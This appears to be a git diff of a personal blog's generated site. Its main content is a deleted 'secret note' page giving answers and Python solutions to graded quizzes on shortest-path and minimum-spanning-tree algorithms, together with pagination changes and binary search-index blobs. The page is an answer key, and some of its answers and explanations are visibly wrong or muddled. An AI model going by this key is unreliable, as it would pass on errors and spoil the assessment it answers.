style="display:flex;"><span> <span style="color:#66d9ef">for</span> x <span style="color:#f92672">in</span> arr: -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> x <span style="color:#f92672">&lt;</span> m: -</span></span><span style="display:flex;"><span> pos <span style="color:#f92672">+=</span> <span style="color:#ae81ff">1</span> -</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> pos -</span></span></code></pre></div>NixOS Notes to Selfhttps://lavafroth.is-a.dev/post/nixos-notes-to-self/Sun, 14 Sep 2025 18:31:52 +0530https://lavafroth.is-a.dev/post/nixos-notes-to-self/<p>A dedicated post collecting solutions to minor NixOS headaches.</p> +Use the collapse explanation button to copy multiple code blocks in one go.</p>NixOS Notes to Selfhttps://lavafroth.is-a.dev/post/nixos-notes-to-self/Sun, 14 Sep 2025 18:31:52 +0530https://lavafroth.is-a.dev/post/nixos-notes-to-self/<p>A dedicated post collecting solutions to minor NixOS headaches.</p> <h2 id="nixos-rebuild-shows-no-network-activity"><code>nixos-rebuild</code> shows no network activity</h2> <p>On rare occasions, a system rebuild will get stuck while downloading a package from a source. No network activity, no timeout, no writes to the nix store.</p> @@ -896,7 +663,7 @@ easy to setup Arch for gaming, thanks to programs like <a href="https://lutri code for the program running on the remote server:</p> <div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;stdio.h&gt;</span><span style="color:#75715e"> </span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;stdlib.h&gt;</span><span style="color:#75715e"> -</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> +</span></span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#66d9ef">static</span> <span style="color:#66d9ef">int</span> <span style="color:#a6e22e">addIntOvf</span>(<span style="color:#66d9ef">int</span> result, <span style="color:#66d9ef">int</span> a, <span style="color:#66d9ef">int</span> b) { </span></span><span style="display:flex;"><span> result <span style="color:#f92672">=</span> a <span style="color:#f92672">+</span> b; </span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(a <span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0</span> <span style="color:#f92672">&amp;&amp;</span> b <span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0</span> <span style="color:#f92672">&amp;&amp;</span> result <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">0</span>) diff --git a/jfgp3d7rrx0/index.html b/jfgp3d7rrx0/index.html deleted file mode 100644 index 172a9d97..00000000 --- a/jfgp3d7rrx0/index.html +++ /dev/null @@ -1,112 +0,0 @@ -secret note jfgp3d7rrx0 - lavafroth

secret note jfgp3d7rrx0

There will be an explanation for non-trivial questions.

Activity 1

1

Dijkstra’s algorithm guarantees finding the shortest path from a single source to all other vertices under which of the following conditions?

Answer: All edge weights must be non-negative.

2

Consider an undirected graph with 5 vertices (V0,V1,V2,V3,V4)(V_0, V_1, V_2, V_3, V_4). At a certain point -in Dijkstra’s algorithm (starting from V0V_0), the current tentative distances are: -dist={V0:0,V1:5,V2:3,V3:8,V4:10}dist = \{V_0:0, V_1:5, V_2:3, V_3:8, V_4:10\}. And the processed set is: {V0:True,V1:False,V2:False,V3:False,V4:False}\{V_0:True, -V_1:False, V_2:False, V_3:False, V_4:False\}. Assuming the next step is to select an unvisited -vertex to mark as processed, which vertex will be chosen?

Answer: V2V_2

Explanation: Dijkstra will choose the next unprocessed vertex with the least weight.

3

Which of the following components is/are essential for a standard implementation of Dijkstra’s algorithm?

Answers:

  • A way to store the tentative shortest distance to each vertex.
  • A set to keep track of vertices whose shortest paths have been finalized.
  • A mechanism to select the unvisited vertex with the smallest current distance.

4

Consider an undirected graph with vertices S, A, B, C, D and edges with weights: S-A (4), S-B (2), A-C (5), B-A (1), B-D (8), C-D (3). If Dijkstra’s algorithm starts from vertex ‘S’, what is the value of dist[D] immediately after vertex ‘A’ has been marked as processed?

Answer: 10

5

When Dijkstra’s algorithm is examining an edge (u, v) from a newly processed vertex u , and it finds that the path source -> … -> u -> v offers a shorter route to v than its currently recorded shortest distance ( dist[v] ), what is the direct consequence for dist[v] and v ’s status?

Answer: -dist[v] is updated, and v’s status remains un-processed, awaiting its turn in a future selection step

6

Given a weighted graph where weights of all edges are unique, there is always a unique shortest path from a source to destination in such a graph.

Answer: False

Explanation: There can be multiple sequence of edges from vertex AA to BB representing the shortest path. The only necessary property is that the sum of the weights on these edges is the least.

Activity 2

1

What is a fundamental capability of the Bellman-Ford algorithm that distinguishes it from Dijkstra’s algorithm for finding shortest paths?

Answer: It is able to correctly find shortest paths in graphs containing negative edge weights.

2

For a graph with 7 vertices and 10 edges, if it contains no negative cycles, what is the minimum number of passes over all edges that the Bellman-Ford algorithm needs to perform to guarantee that all shortest path distances are finalized?

Answer: 6

3

Consider the following directed graph. If the Bellman-Ford algorithm starts from vertex ‘S’, what are the shortest distances to vertices ‘A’, ‘B’, and ‘C’ (in that order: dist[A] , dist[B] , dist[C] ) after exactly 2 passes over all edges?

Answer: 6

Explanation: It takes n1n-1 iterations for a graph with nn edges to stabilize via Bellman Ford if there are no negative edges.

If the graph stabilizes further from the nn iteration onwards, it contains negative cycles.

4

When Bellman-Ford performs a pass over all edges, does the order in which edges are relaxed within that single pass affect the final shortest path distances after all V−1 passes (assuming no negative cycles are present)?

Answer: No, the order of edge relaxation within a pass does not affect the final distances after all V−1 passes.

5

Which of the following statements accurately describe properties or uses of the Bellman-Ford algorithm?

Answers:

  • If a negative cycle is detected, the algorithm reports its presence and may not produce valid shortest paths for affected vertices.
  • The algorithm is suitable for distributed shortest path computation.

6

Given a graph where all edges have positive weights, the shortest path produced by Dijkstra’s and Bellman Ford algorithm may be different but path weight would be same.

Answer: True

Activity 3

1

What type of shortest path problem is the Floyd-Warshall algorithm designed to solve?

Answer: All-pairs shortest paths in graphs with negative edge weights or positive edge weights (but no negative cycles).

2

The core update rule in Floyd-Warshall is

dist[i][j]=min(dist[i][j],dist[i][k]+dist[k][j])dist[i][j] = min(dist[i][j], dist[i][k] + dist[k][j])

What does the variable k fundamentally represent in this context?

Answer: An intermediate vertex that might lie on a shortest path from i to j

3

What is the time complexity of the Floyd-Warshall algorithm for a graph with N vertices?

Answer: O(N3)O(N^3)

4

How does the Floyd-Warshall algorithm detect the presence of a negative weight cycle in the graph?

Answer: By observing if any dist[i][i] (distance from a vertex to itself) becomes negative after all iterations

5

Consider a graph with 3 vertices {1, 2, 3}. The initial distance matrix dist is given as: dist[1][1] = 0, dist[1][2] = 2, dist[1][3] = 7 dist[2][1] = inf, dist[2][2] = 0, dist[2][3] = 3 dist[3][1] = inf, dist[3][2] = inf, dist[3][3] = 0

What is the value of dist[1][3] after the iteration where k = 2 is considered as the intermediate vertex?

Answer: 5

6

Consider a graph with 3 vertices {1, 2, 3}. The initial distance matrix dist is set up. dist[1][1]=0, dist[1] [2]=5, dist[1][3]=inf dist[2][1]=inf, dist[2][2]=0, dist[2][3]=2 dist[3][1]=inf, dist[3] [2]=inf, dist[3][3]=0

After all iterations of the Floyd-Warshall algorithm, what will be the value of dist[3][1]dist[3][1]?

Answer: inf

Explanation: The distance of 3 to 1 is never updated.

Activity 4

1

Prim’s algorithm builds the Minimum Spanning Tree (MST) by iteratively adding edges. At each step, which type of edge does it always select?

Answer: The edge with the smallest weight that connects a vertex already in the MST to a vertex not yet in the MST

2

Consider the following undirected graph. If Prim’s algorithm starts from vertex ‘A’, what is the total weight of the Minimum Spanning Tree (MST) it finds?

Graph: A-B (4), A-C (2), B-C (5), B-D (10), C-D (3), C-E (7), D-E (1)

Answer: 10

3

A connected, undirected graph has 6 vertices and 7 edges. If Prim’s algorithm is used to find its Minimum Spanning Tree, how many edges will be included in the final MST?

Answer: 5

4

When is the Minimum Spanning Tree (MST) of a connected, weighted graph guaranteed to be unique?

Answer: If all edge weights in the graph are distinct.

5

Suppose Prim’s algorithm has constructed an MST for a graph. If the weight of an edge not currently in the MST is decreased, will the existing MST always change?

Answer: Not necessarily; the MST will change only if the decreased edge becomes the new minimum edge across some cut that was previously crossed by a different (heavier) MST edge.

6

If Prim’s algorithm has generated a Minimum Spanning Tree (MST) for a connected graph, the unique path between any two vertices within that MST is always the shortest path between those two vertices in the original graph

Answer: False

Activity 5

1

Which of the following statements about how Kruskal’s algorithm constructs the MST are true?

Answer: (Yes there is only one I think is correct)

  • It adds an edge only if it connects two vertices that belong to different existing components.

2

A graph has 5 vertices {V1, V2, V3, V4, V5}. Kruskal’s algorithm is applied. Initially, each vertex is in its own set: {V1}, {V2}, {V3}, {V4}, {V5}. Consider the following sequence of edges processed by Kruskal’s algorithm:

(V1, V2) - weight 2 -(V3, V4) - weight 3 -(V1, V3) - weight 4 -(V2, V4) - weight 5 -(V5, V2) - weight 6

How many distinct connected components are there after these 5 edges have been processed and decisions made?

Answer: 1

3

If Kruskal’s algorithm considers an edge e and decides not to include it in the MST, what is the precise reason for this exclusion?

Answer: Adding edge e would connect two vertices that are already in the same connected component within the set of edges already chosen for the MST.

4

A graph has 7 vertices and consists of 3 distinct connected components. Kruskal’s algorithm is executed on this graph. Assuming all components are non-empty and connected internally, how many edges will Kruskal’s algorithm include in the resulting Minimum Spanning Forest (MSF)?

Answer: 4

5

If Kruskal’s algorithm rejects an edge e (meaning e is not included in the MST), it implies that e is the heaviest edge in any cycle that e forms with edges already selected for the MST.

Answer: True

6

In a connected undirected graph with more than three vertices and all distinct edge weights, the two edges with the smallest weights will always be part of its Minimum Spanning Tree (MST).

Answer: True

GrPAs

1

We are implementing Kruskal’s algorithm because it’s just a tad bit easier than Prim’s algorithm.

def FiberLink(wl):
-    sum, edges, component = 0, [], {}
-    for u, u_edges in wl.items():
-        component[u] = u
-        for v, d in u_edges:
-            edges.append((d, u, v))
-    edges.sort()
-
-    for d, u, v in edges:
-        if component[v] == component[u]:
-            continue
-        sum += d
-        c = component[u]
-        for ckey, cval in component.items():
-            if cval == c:
-                component[ckey] = component[v]
-
-    return sum
-

2

The shorted walk from src to dst while bouncing off the bounce node. We are using Bellman-Ford because simple is good.

We can find the shortest path from bounce to each of src and dst and then add up those two paths (both the path sequence and the weight).

def min_cost_walk(wl, src, dest, bounce):
-    dist, parent = {}, {}
-    for u in wl.keys():
-        dist[u] = 1e6 # close to infinity
-    dist[bounce] = 0
-
-    for _ in range(len(wl)):
-        for u, edges in wl.items():
-            for v, weight in edges:
-                if dist[u] + weight < dist[v]:
-                    dist[v] = dist[u] + weight
-                    parent[v] = u
-
-    path = []
-    revpath = []
-    distance = dist[src] + dist[dest]
-    while src != bounce:
-        path.append(src)
-        src = parent[src]
-
-    path.append(bounce)
-    while dest != bounce:
-        revpath.append(dest)
-        dest = parent[dest]
-
-    return distance, path + revpath[::-1]
-

3

Here again, we are using Bellman-Ford. Remember from the activity question answers that if there are any relaxations in the nthn_{th} iteration, -there exists a negative cycle in the graph.

def IsNegativeWeightCyclePresent(wl):
-    n = len(wl)
-    dist = {}
-    parent = {}
-    for u in wl:
-        dist[u] = 1e6
-    dist[u] = 0 # the node to start with
-
-    for i in range(n):
-        for u, edges in wl.items():
-            for v, weight in edges:
-                if dist[u] + weight < dist[v]:
-                    if i == n - 1:
-                        return True
-                    dist[v] = dist[u] + weight
-                    parent[v] = u
-
-    return False
-

GA

1

At each step of Dijkstra’s algorithm, after a vertex has been processed, how does the algorithm determine which unvisited vertex to process next?

Answer: It picks the unvisited vertex that has the smallest current shortest distance from the source.

2

Which of the following statements correctly describes how the Bellman-Ford algorithm detects the presence of a negative cycle reachable from the source? Consider that V is the number of vertices in the graph.

Answer: If, during a Vth pass over all edges, any distance value can still be improved (i.e., an edge relaxation occurs).

3

A graph has 4 vertices (V1, V2, V3, V4) and the following edges:

  • V1 → V2 (weight = 2)
  • V2 → V3 (weight = -3)
  • V3 → V1 (weight = 0)
  • V1 → V4 (weight = 5)

If Bellman-Ford starts from V1, after running the algorithm for all necessary passes, how many vertices will have their shortest distance updated in the final (4-th) pass used for negative cycle detection?

Answer: 3

4

Consider any connected graph with 4 vertices and 6 edges, where all edge weights are distinct. In such a graph, the three edges with the smallest weights will always be part of its Minimum Spanning Tree (MST).

Answer: False

5

A graph can have a unique Minimum Spanning Tree (MST) only if all its edge weights are distinct

Answer: True

6

Suppose we run Prim’s algorithm and Kruskal’s algorithm on a graph G and these two algorithms -produce minimum-cost spanning trees TPT_P and TKT_K, respectively.

(I) TPT_P may be different from TKT_K if some pair of edges in G have the same weight.

(II) TPT_P is always the same as TKT_K if all edges in G have distinct weights.

Answer: Both (I) and (II) are correct.

7

Which one of the following can be the sequence of edges added, in that order, to create a minimum spanning tree using Kruskal’s algorithm?

Answers:

  1. (a,b) (d,f) (b,f) (d,c) (d,e)
  2. (a,b) (d,f) (d,c) (b,f) (d,e)
  3. (d,f) (a,b) (d,c) (b,f) (d,e)
  1. (d,f) (a,b) (b,f) (d,c) (d,e)

8

Consider the given weighted adjacency matrix ww for a complete undirected graph with vertex -set {0,1,2,3,4}\{0, 1, 2, 3, 4\}. Where w[i][j]w[i][j], iji \neq j in the matrix is the weight of the edge -(i,j)(i,j).

w=(018141012498120731470249320)w = \begin{pmatrix} -0 & 1 & 8 & 1 & 4 \\ -1 & 0 & 12 & 4 & 9 \\ -8 & 12 & 0 & 7 & 3 \\ -1 & 4 & 7 & 0 & 2 \\ -4 & 9 & 3 & 2 & 0 -\end{pmatrix}

What is the weight of the minimum spanning tree for the given graph?

Answer: 7

9

Which of the following statement(s) is/are true about the spanning tree of a connected graph?

Answers:

  • A spanning tree is a connected acyclic graph.
  • A spanning tree for an n vertex graph has exactly n-1 edges.
  • Adding an edge to a spanning tree must create a cycle.
  • In a spanning tree, every pair of nodes is connected by a unique path

10

Consider the following weighted adjacency list WList for a directed and connected graph. What will be the path weight of the shortest path from 1 to 3?

WList = {
-  #source: [(destination, weight),...]
-  1: [(2, 10), (8, 8)],
-  2: [(6, 2)],
-  3: [(2, 1), (4, 1)],
-  4: [(5, 3)],
-  5: [(6, -1)],
-  6: [(3, -2)],
-  7: [(2, -4), (6, -1)],
-  8: [(7, 1)]
-}
-

Answer: 5

11

Consider a complete undirected graph with vertex set {0, 1, 2, 3, 4}. Every entry W[i][j] where i≠j in the matrix W below is the weight of the edge from vertex i to vertex j.

w=(018141012498120731470249320)w = \begin{pmatrix} -0 & 1 & 8 & 1 & 4 \\ -1 & 0 & 12 & 4 & 9 \\ -8 & 12 & 0 & 7 & 3 \\ -1 & 4 & 7 & 0 & 2 \\ -4 & 9 & 3 & 2 & 0 -\end{pmatrix}

Answer: 4

12

In the given graph, if we try to find the shortest path from node a to all other nodes using Dijkstra’s algorithm, in what order do the nodes get included in the visited set?

Answer: a e d c b g f h

13

Consider the given graph. Which of the following is the correct sequence of edges added to the minimum spanning tree when Prim’s algorithm is applied on this graph with 5 as the source vertex?

Answer: [(5,1),(1,2),(2,3),(3,4)]

14

In the context of the Floyd-Warshall algorithm, what does it mean if the distance matrix has a negative value in its diagonal?

Answer: The graph has a negative-weight cycle.

15

Consider the graph G given. Let -α denote the number of minimum spanning trees of G and -β denote the weight of such a minimum spanning tree. The value of -α+β is

Answer: 14

\ No newline at end of file diff --git a/page/2/index.html b/page/2/index.html index 9eb9593e..99bd3622 100644 --- a/page/2/index.html +++ b/page/2/index.html @@ -1,4 +1,10 @@ -lavafroth

Wrapping up GSoC 2024


EBNF +lavafroth
\ No newline at end of file +
\ No newline at end of file diff --git a/page/3/index.html b/page/3/index.html index df3dca8c..bd0d9165 100644 --- a/page/3/index.html +++ b/page/3/index.html @@ -1,4 +1,10 @@ -lavafroth

Edge cases? You Shall Not Pass!


EBNF +lavafroth
\ No newline at end of file +
\ No newline at end of file diff --git a/page/4/index.html b/page/4/index.html index 94663076..cd287ad0 100644 --- a/page/4/index.html +++ b/page/4/index.html @@ -1,4 +1,7 @@ -lavafroth

Compact XOR


AmateursCTF +lavafroth
\ No newline at end of file +
\ No newline at end of file diff --git a/page/5/index.html b/page/5/index.html index 4b271a87..5b281427 100644 --- a/page/5/index.html +++ b/page/5/index.html @@ -1,4 +1,10 @@ -lavafroth

Treebox


Google CTF +lavafroth
\ No newline at end of file +
\ No newline at end of file diff --git a/page/6/index.html b/page/6/index.html index 41bfe2a2..5e2514ae 100644 --- a/page/6/index.html +++ b/page/6/index.html @@ -1,4 +1,9 @@ -lavafroth

Liberating 14GiB of disk space


Powershell +lavafroth

Notepad


CTF @@ -10,4 +15,4 @@
\ No newline at end of file +Next Page
\ No newline at end of file diff --git a/pagefind/fragment/en-us_12bc273.pf_fragment b/pagefind/fragment/en-us_12bc273.pf_fragment deleted file mode 100644 index e81849ae62fc19fe5a4eb52c54b79c618cae4fb7..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 738 zcmV<80v-JyiwFP!00002|9w{wp`0U?nu9Ti2nb(zHo?X{1Vf*aJe53nn-P zo7tu%i}K%hHjon1_92Sz{C(%|KF+SmhUScC>nzRoP9sYvaxT@QCZC?Z@SEc1((#>C za80?!9WFG5(QW|0v4@hbQ&Bw#g-YWDav{6+OqHR}HE?+}NIw zz=frHZ+WsjbEWt2jda(N^15MK1j7LFrmA;96!6-9{1s_`2*&RTTD9__4Sm?*uU+8( z0&QF2$-EATlw@ZB8O|eJGOoS24Wo8(VF}R=7YRCn&0G9GDur_0RiFw|(|Dd3+z^Er zdE-*nIc98=gm37GHbYwXLoEiiJx7J7C?g_fK5UI?6=~g7A6@iYM#?rpIg>mF*n~GY zXp?h)o^%#o1=g>-pTAu+1JB`D-b{#z>~O$x3GPbU^j$k-3-~JUD+PP=$KxP)4i-Nzcm#H z*zKS%8VMaX$8s5{=0VZF4dp5AZfn{|Q}qaWfj<|lq?7#*rsZf{Ww;%tsS_-IpK0yB zfm7J=9=z0yqX>=1xAz&JOuR0Qd49vM*S?dpQd6m%Xn*jXifV!@M>Ad0SKem_F@&du zFobyT(2`c&OJ0OnoMpJ$$ePSdq-kq*x)&YeQlvyP!JTMv@ZaGsCfvmd_xk!>^3{ZV UbwUoq&xhpjAA|a!$D{@T0D8J^L;wH) diff --git a/pagefind/fragment/en-us_2725464.pf_fragment b/pagefind/fragment/en-us_2725464.pf_fragment new file mode 100644 index 0000000000000000000000000000000000000000..2eb9eae17e31824c6a71e5831af931540d1bb7ce GIT binary patch literal 1072 zcmV-01kd{)iwFP!00002|CLrzZsRr(y~;q}mfX!|H%@>SShP(WbQfDR3Gz`C3tFTt z!jdSEl${_5&};O1JxSk?mL+>Fr~4B-s(j_~<`e){9X^<5SXwIflJu5+uTp2NwRvh~{3v@n(w&Yv33*odU9qDEM+`QE{a zKI*!C%;@t1iICToauX`dMy-{d&_+=%>VNNNz0Z|pG=E8YuaTI z+!||gQZWL%t}y{# zS&{o)TLt#@VB%Yp}!3p0*GI369Q$;FxwS987?ClHS9DuwqjI&)mj?4M*~@Gp)l^qZk^UEZuARG9WK;KLC>I0R)L)3X;*!|Dv1ktPbuoY(r zr6s;~N}YnIH1L$NJmT7`M>ZYNPZ*#E!AqW8UA%vp9EXpM=)rs3Lsi`aoV_~$eA@x) zPI?1oc)z12_Q<2^ydPpV79#vI5NRjT$Ag^E@x3sY@5ZRny@tjgBS%OY*V(-wZ_dt7 z786!IBepZTmk3 qk4oTvtgj~VtD4g{uT?#}e7))+%1GU3XS0{TUj74sMXB4`3IG6E5E23a literal 0 HcmV?d00001 diff --git a/pagefind/fragment/en-us_80c2b8a.pf_fragment b/pagefind/fragment/en-us_80c2b8a.pf_fragment deleted file mode 100644 index 315193d8db66c7b5700360ccd7d22acc1e2ac5d6..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1038 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 